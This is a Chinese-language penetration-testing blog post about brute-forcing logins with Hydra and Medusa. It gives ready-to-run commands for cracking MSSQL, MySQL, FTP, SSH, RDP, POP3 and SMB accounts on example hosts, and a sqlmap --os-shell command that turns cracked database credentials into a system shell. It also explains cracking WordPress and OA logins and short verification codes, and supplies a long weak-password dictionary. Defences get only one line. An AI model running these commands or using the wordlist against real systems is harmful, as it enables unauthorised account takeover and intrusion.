[滲透測試] Hydra暴力破解

navyofficer發表於2015-07-14
暴力破解也被稱為列舉測試、窮舉法測試,是一種針對密碼破譯的方法,即:將密碼逐個比較,直到找出真正的密碼為止。

一、C/S架構破解
C/S架構即大家熟知的客戶端和伺服器架構,這裡以SQL Server與MySQL資料庫為例。
資料庫一般會提供一個預設的帳戶,SQL Server的sa使用者,MySQL的root使用者,Oracle的System使用者等。
1.1 SQL Server
首先用Nmap掃描到某個系統開放了1433埠。
使用Hydra軟體破解:hydra.exe -l sa -P c:\pass.txt 192.168.1.110 mssql
成功後會列印類似如下的資訊:[1433][mssql] host:192.168.1.110  login:sa  password:pwd@123
其他Hydra破解示例:
(1)破解MySQL密碼
hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql
使用-L指定使用者名稱檔案,-P指定密碼檔案
(2)破解FTP密碼
hydra.exe -l admin -P c:\pass.txt -t 5 192.168.1.110 ftp
使用-l指定使用者名稱,-t指定執行緒
(3)破解ssh
hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.110 ssh
使用“-e n”對空密碼探測
(4)破解rdp
hydra.exe -l administrator -P c:\pass.txt www.xxser.com rdp -V
破解www.xxser.com的rdp服務,即遠端桌面協議
(5)破解 pop3
hydra.exe -l root -P pass.txt my.pop3.mail pop3
攻擊者一旦得到資料庫密碼,一般會做兩件事情,一是“拖庫”,二是“提權”。
上面破解密碼為“pwd@123”之後,可以利用sqlmap進一步來反彈一個與系統互動的Shell用來提權。命令為:

sqlmap.py -d "mssql://sa:pwd@123@192.168.1.110:1433/master" --os-shell

攻擊者在進行暴力破解時,針對單一目標主機破解的概率較小,更多的是對多臺伺服器同時破解。


1.2 MySQL
使用Hydra破解Mysql如下:
Hydra.exe -L root -P pass.txt 192.168.1.110 mysql
另一種破解工具:Medusa
medusa -h 192.168.195.129 -u root -P /pass.txt -M mysql

Medusa其他的破解示例如下:
(1)破解smbnt
medusa -h www.secbug.org -u administrator -P /pass.txt -e ns -M smbnt
使用“-h”引數對主機www.secbug.org破解smbnt服務,並使用“-e ns”引數,嘗試空密碼及賬號為密碼。
(2)破解MSSQL
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -M mssql
使用“-t”引數指定執行緒,“-f”指定在任何主機上找到第1個賬號/密碼後,停止審計。
(3)使用“-C”引數破解smbnt
medusa -M smbnt -C combo.txt
combo檔案的格式如下:
192.168.0.20:testuser:pass
192.168.0.40:user1:foopass
(4)破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
使用“-U”引數讀取使用者名稱字典檔案users.txt
(5)日誌檔案
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt

二、B/S架構破解
以WordPress為例,介紹如何暴力破解B/S架構的Web Form
WordPress功能雖然很強大,但是在後臺登入時卻沒有驗證碼,這讓攻擊者有機可乘。
WordPress很容易獲取到使用者名稱,這樣的話就可以用工具進行進一步的web表單破解。在破解表單時,需要尋找一個標誌位,也就是登入成功與失敗的區別點。

利用hydra的例子如下

首先抓包觀察登入失敗的資料包


再抓取成功登入的資料包


利用hydra進行暴力破解

在攻擊的過程中,失敗的資料包如下:


在攻擊過程中,成功的資料包為


三、暴力破解案例
3.1 攻擊OA系統
蒐集使用者名稱是重點。蒐集的方式有:1通過郵箱蒐集;2通過錯誤提示蒐集。
蒐集完使用者名稱之後,攻擊者就可以對密碼進行暴力破解了,攻擊者的密碼字典一般都會採取100~300個數量的高命中率弱口令,如果在這些弱口令密碼中破解不成功,那麼密碼就可能較複雜,破解的效率就會大大降低。
3.2 破解驗證碼
暴力破解驗證碼經常出現在密碼找回、修改密碼、交易支付等操作。
當驗證碼僅有四位,並且在一個相對較長的時間內有效時,可以通過遍歷驗證碼的方法進行破解。

四、防止暴力破解

 密碼的複雜性;驗證碼措施;登入日誌(限制登入次數)


弱口令:

123456789
a123456
123456
a123456789
1234567890
woaini1314
qq123456
abc123456
123456a
123456789a
147258369
zxcvbnm
987654321
12345678910
abc123
qq123456789
123456789.
7708801314520
woaini
5201314520
q123456
123456abc
1233211234567
123123123
123456.
0123456789
asd123456
aa123456
135792468
q123456789
abcd123456
12345678900
woaini520
woaini123
zxcvbnm123
1111111111111111
w123456
aini1314
abc123456789
111111
woaini521
qwertyuiop
1314520520
1234567891
qwe123456
asd123
000000
1472583690
1357924680
789456123
123456789abc
z123456
1234567899
aaa123456
abcd1234
www123456
123456789q
123abc
qwe123
w123456789
7894561230
123456qq
zxc123456
123456789qq
1111111111
111111111
0000000000000000
1234567891234567
qazwsxedc
qwerty
123456..
zxc123
asdfghjkl
0000000000
1234554321
123456q
123456aa
9876543210
110120119
qaz123456
qq5201314
123698745
5201314
000000000
as123456
123123
5841314520
z123456789
52013145201314
a123123
caonima
a5201314
wang123456
abcd123
123456789..
woaini1314520
123456asd
aa123456789
741852963
a12345678
123456            
a123456           
123456a           
5201314           
111111            
woaini1314        
qq123456          
123123             
000000             
1qaz2wsx           
1q2w3e4r           
qwe123             
7758521            
123qwe             
a123123            
123456aa           
woaini520          
woaini             
100200             
1314520            
woaini123          
123321             
q123456            
123456789          
123456789a         
5211314            
asd123             
a123456789         
z123456            
asd123456          
a5201314           
aa123456           
zhang123           
aptx4869           
123123a            
1q2w3e4r5t         
1qazxsw2           
5201314a           
1q2w3e             
aini1314           
31415926           
q1w2e3r4           
123456qq           
woaini521          
1234qwer           
a111111            
520520             
iloveyou           
abc123             
110110             
111111a            
123456abc          
w123456            
7758258            
123qweasd          
159753             
qwer1234           
a000000            
qq123123           
zxc123             
123654             
abc123456          
123456q            
qq5201314          
12345678           
000000a            
456852             
as123456           
1314521            
112233             
521521             
qazwsx123          
zxc123456          
abcd1234           
asdasd             
666666             
love1314           
QAZ123             
aaa123             
q1w2e3             
aaaaaa             
a123321            
123000             
11111111           
12qwaszx           
5845201314         
s123456            
nihao123           
caonima123         
zxcvbnm123         
wang123            
159357             
1A2B3C4D           
asdasd123          
584520             
753951             
147258             
1123581321         
110120             
qq1314520 

hydra的幫助資訊

wangpeng@ubuntu:~$ hydra -h
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 afp ncp oracle.

Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
E.g.:  % export HTTP_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HTTP_PROXY_HTTP=http://proxy:8080
       % export HTTP_PROXY_AUTH=user:pass

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5


相關文章